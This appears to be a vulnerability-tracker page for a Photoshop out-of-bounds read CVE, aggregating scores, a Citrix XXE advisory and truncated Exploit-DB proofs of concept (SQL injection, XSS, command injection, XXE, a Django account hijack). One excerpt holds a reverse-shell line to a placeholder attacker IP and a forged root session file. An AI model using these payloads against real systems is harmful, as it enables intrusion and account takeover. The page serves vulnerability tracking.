CVE-2019-8000
published 2019-08-26CVE-2019-8000: Adobe Photoshop CC versions 19.1.8 and earlier and 20.0.5 and earlier have an out of bound read vulnerability. Successful exploitation could lead to memory…
PriorityP430medium6.5CVSS 3.0
AVNACLPRNUIRSUCHINAN
EPSS
3.30%
87.1th percentile
Adobe Photoshop CC versions 19.1.8 and earlier and 20.0.5 and earlier have an out of bound read vulnerability. Successful exploitation could lead to memory leak.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adobe | adobe_photoshop_cc | — | — |
| adobe | photoshop_cc | <= 19.1.8 | — |
| adobe | photoshop_cc | 20.0 – 20.0.5 | — |
| citrix | storefront | — | — |
CVSS provenance
nvdv3.06.5MEDIUMCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:P/I:N/A:N
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-979p-jg98-vpvh: Adobe Photoshop CC versions 19
ghsa_unreviewed·2022-05-24
CVE-2019-8000 [MEDIUM] CWE-125 GHSA-979p-jg98-vpvh: Adobe Photoshop CC versions 19
Adobe Photoshop CC versions 19.1.8 and earlier and 20.0.5 and earlier have an out of bound read vulnerability. Successful exploitation could lead to memory leak.
Citrix
CVE-2019-13608: Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
vendor_citrix·2019-08-29·CVSS 7.5
CVE-2019-13608 [HIGH] CWE-611 CVE-2019-13608: Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
CVE-2019-13608: Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
CISA KEV: Citrix StoreFront Server contains an XML External Entity (XXE) processing vulnerability that may allow an unauthenticated attacker to retrieve potentially sensitive information.
Required Action: Apply updates per vendor instructions.
Known ransomware campaign use.
Citrix
CVE-2019-13608 - XML External Entity (XXE) Processing Vulnerability in Citrix StoreFront Server
vendor_citrix·CVSS 7.5
CVE-2019-13608 [HIGH] CVE-2019-13608 - XML External Entity (XXE) Processing Vulnerability in Citrix StoreFront Server
CVE-2019-13608 - XML External Entity (XXE) Processing Vulnerability in Citrix StoreFront Server
of Problem An XML External Entity (XXE) processing vulnerability has been identified in Citrix StoreFront Server that could allow an unauthenticated attacker to retrieve potentially sensitive information from the server. This vulnerability has been assigned the following CVE number: • CVE-2019-13608: XML External Entity (XXE) Processing Vulnerability in Citrix StoreFront Server. This vulnerability affects the following Citrix StoreFront Server versions: • Citrix StoreFront Server earlier than 1903 • Citrix StoreFront Server 7.15 LTSR earlier than CU4 (3.12.4000) • Citrix StoreFront Server 7.6 LTSR earlier than CU8 (3.0.8000)
CVE References: CVE-2019-13608
Affected Products: Citrix StoreFront,
No detection rules found.
Exploit-DB
Django < 3.0 < 2.2 < 1.11 - Account Hijack
exploitdb·2019-12-24·CVSS 9.8
CVE-2019-19844 [CRITICAL] Django < 3.0 < 2.2 < 1.11 - Account Hijack
Django >> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')
```
## Procedure For Reproducing
1. Run `./manage.py runserver`
1. Open `http://127.0.0.1:8000/accounts/password-reset/`
1. Input `mı[email protected]` (Attacker's email), and click send button
1. Receive email (Check console), and reset password
1. Login as `mike123` user
Exploit-DB
oXygen XML Editor 21.1.1 - XML External Entity Injection
exploitdb·2019-11-14
oXygen XML Editor 21.1.1 - XML External Entity Injection
oXygen XML Editor 21.1.1 - XML External Entity Injection
---
# Exploit Title: oXygen XML Editor 21.1.1 - XML External Entity Injection
# Author: Pablo Santiago
# Date: 2019-11-13
# Vendor Homepage: https://www.oxygenxml.com/
# Source:https://www.oxygenxml.com/xml_editor/download_oxygenxml_editor.html
# Version: 21.1.1
# CVE : N/A
# Tested on: Windows 7
#PoC
1- python -m SimpleHTTPServer 8000
1.1- Poc.xml :
%dtd;]>
&send;
1.2.- payload.dtd
">
%all;
2- File -> Open -> *.xml
#PoC Visual
https://imgur.com/2H8DhL9
Exploit-DB
Ajenti 2.1.31 - Remote Code Execution
exploitdb·2019-10-14
Ajenti 2.1.31 - Remote Code Execution
Ajenti 2.1.31 - Remote Code Execution
---
# Title: Ajenti 2.1.31 - Remote Code Execution
# Author: Jeremy Brown
# Date: 2019-10-13
# Software Link: https://github.com/ajenti/ajenti
# CVE: N/A
# Tested on: Ubuntu Linux
#!/usr/bin/python
# ajentix.py
#
# Ajenti Remote Command Execution Exploit
#
# -------
# Details
# -------
#
# Ajenti is a web control panel written in Python and AngularJS.
#
# One can locally monitor executed commands on the server while testing
#
# $ sudo ./exec-notify (google for "exec-notify.c", modify output as needed)
# sending proc connector: PROC_CN_MCAST_LISTEN... sent
# Reading process events from proc connector.
# Hit Ctrl-C to exit
#
# Browse over to https://server:8000/view/login/normal to login
#
# .....
# pid=9889 executed [/bin/sh -c /bin/su -c "/bin/echo
Exploit-DB
thesystem 1.0 - Cross-Site Scripting
exploitdb·2019-09-30
thesystem 1.0 - Cross-Site Scripting
thesystem 1.0 - Cross-Site Scripting
---
# Exploit Title: thesystem Persistent XSS
# Author: Anıl Baran Yelken
# Discovery Date: 2019-09-28
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Type: Webapps
# Description:
# Persistent XSS after login bypass(login_required didn't used)
First of all, I send a request add_server
POST /add_server/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boun
Exploit-DB
TheSystem 1.0 - Command Injection
exploitdb·2019-09-30
TheSystem 1.0 - Command Injection
TheSystem 1.0 - Command Injection
---
# Exploit Title: thesystem Command Injection
# Author: Sadik Cetin
# Discovery Date: 2019-09-28
# Vendor Homepage: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ]
# Software Link: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ]
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Type: Webapps
# Description:
# Simple Command injection after login bypass(login_required didn't used)
POST /run_command/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accep
Exploit-DB
thesystem App 1.0 - 'server_name' SQL Injection
exploitdb·2019-09-27
thesystem App 1.0 - 'server_name' SQL Injection
thesystem App 1.0 - 'server_name' SQL Injection
---
# Exploit Title: thesystem 1.0 - 'server_name' SQL Injection
# Author: Sadik Cetin
# Discovery Date: 2019-09-26
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Description:
# Simple SQL injection after login bypass(login_required didn't used)
POST /data/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1
Exploit-DB
thesystem App 1.0 - Persistent Cross-Site Scripting
exploitdb·2019-09-27
thesystem App 1.0 - Persistent Cross-Site Scripting
thesystem App 1.0 - Persistent Cross-Site Scripting
---
# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting
# Author: İsmail Güngör
# Discovery Date: 2019-09-26
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Description:
# Stored XSS after login bypass(login_required didn't used)
First of all following request is sent web server
POST /data/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: mul
Exploit-DB
thesystem App 1.0 - 'username' SQL Injection
exploitdb·2019-09-27
thesystem App 1.0 - 'username' SQL Injection
thesystem App 1.0 - 'username' SQL Injection
---
# Exploit Title: thesystem App 1.0 - 'username' SQL Injection
# Author: Anıl Baran Yelken
# Discovery Date: 2019-09-26
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Description:
# Simple SQL injection after login bypass(login_required didn't used)
POST /check_users/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=------------------
Exploit-DB
CentOS Control Web Panel 0.9.8.836 - Privilege Escalation
exploitdb·2019-07-16·CVSS 7.5
CVE-2019-13359 [HIGH] CentOS Control Web Panel 0.9.8.836 - Privilege Escalation
CentOS Control Web Panel 0.9.8.836 - Privilege Escalation
---
//====================================================================\\
|| ||
|| CWP Control Web Panel 0.9.8.836 - 0.9.8.839 ||
|| Root Privilege Escalation ||
|| ||
\\====================================================================//
# ====================================================================
# Information
# ====================================================================
# Exploit Title: CWP (CentOS Control Web Panel) & /dev/tcp/[Attacker-IP]/8000 0>&1"
2. Create session file through reverse shell
echo "username|s:4:\"root\";logged|b:1;rkey|s:20:\"[RKEY]\";token|s:36:\"[TOKEN-KEY]\";" > /tmp/sess_123456
3. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxx
Exploit-DB
Job Portal 3.1 - 'job_submit' SQL Injection
exploitdb·2019-03-28
Job Portal 3.1 - 'job_submit' SQL Injection
Job Portal 3.1 - 'job_submit' SQL Injection
---
# Exploit Title: NewJobPortal v3.1 - 'job_submit' SQL Inj.
# Dork: N/A
# Date: 25-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://codecanyon.net/item/job-portal/15330095
# Version: v3.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Job portal is developed for creating an interactive
job vacancy for candidates.
This web application is to be conceived in its current form as a dynamic
site-requiring constant
updates both from the seekers as well as the companies.
# POC - SQLi
# Parameters : job_submit
# Attack Pattern : convert(int%2c+cast(0x454d49524f474c55+as+varchar(8000)))
# POST Method : http://localhost/newjobportal/job_search/search
Nuclei
Citrix StoreFront Server - XML External Entity
nuclei·CVSS 7.5
CVE-2019-13608 [HIGH] Citrix StoreFront Server - XML External Entity
Citrix StoreFront Server - XML External Entity
Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
Template:
id: CVE-2019-13608
info:
name: Citrix StoreFront Server - XML External Entity
author: daffainfo
severity: high
description: |
Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
impact: |
Attackers can read arbitrary files, perform server-side request forgery, or cause denial of service through XXE attacks.
remediation: |
Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR.
reference:
- https://www.exploit-db.com/exploits/47561
- https://support.citrix.com/support-home/kbsearch/arti
2019-08-26
Published